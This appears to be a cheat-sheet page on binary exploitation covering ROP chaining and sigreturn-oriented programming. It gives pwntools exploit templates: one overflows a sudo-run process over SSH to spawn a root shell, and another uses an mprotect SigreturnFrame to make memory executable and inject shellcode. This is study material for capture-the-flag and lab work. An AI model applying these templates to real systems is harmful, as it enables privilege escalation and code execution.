2.1 KiB
2.1 KiB
ROP Chaining
Usage
- Find cyclic buffer size
- Find gadgets via
ropper
,ROPgadget --binary
or even betterropstar
Example
Example 1
from pwn import *
s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
p = s.process(['sudo', '<process>'])
offset=<found_offset_len>
payload = cyclic(offset)
payload += p64(0x4711)
payload += p64(0x235)
payload += p64(0x007)
print(p.recv())
p.sendline(payload)
print(p.recv())
p.sendline("/bin/sh")
p.interactive(prompt='')
SIG ROP
Sigreturn oriented programming.
What is it?
The manual for sigreturn
states the following
sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame
Further, mprotect
provides a writeable and executable memory segment. Even NX
is nullified in this way and the stack will be executable.
From the mprotect
manual
The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the process starting at address addr and continuing for len bytes.
Usage
First, use mprotect
on a memory segment. Use the Minimum Address
provided by a Ghidra import to get an address to write to.
ROPgadget ---binary <binary> | grep ": syscall"
Use this found address as a start to craft a frame via pwntools
from pwn import *
context.clear(arch='amd64')
context.terminal = ["urxvt", "-e", "sh", "-c"]
p = process(<process>)
shellcode = <shellcode from shellstorm>
SYSCALL = <address found by ROPgadget previously>
VULERNERABLE_FUNCTION = p64(<vulnerable function address>)
VULERNABLE_POINTER = <Instruction Pointer to vulnerable function>
WRITEABLE_ADDRESS = <Minimum address provided by Ghidra import>
frame = SigreturnFrame(kernel="amd64")
frame.rax = 10 # mprotect syscall
frame.rdi = WRITEABLE_ADDRESS
frame.rsi = <stackframe size>
frame.rdx = 7 # rwx
frame.rsp = VULERNABLE_POINTER
frame.rip = SYSCALL
payload = b'A' * <found len> + VULERNERABLE_FUNCTION + p64(SYSCALL) + bytes(frame)
p.sendline(payload)
p.recv()
p.interactive(p) # or gdb.attach(p)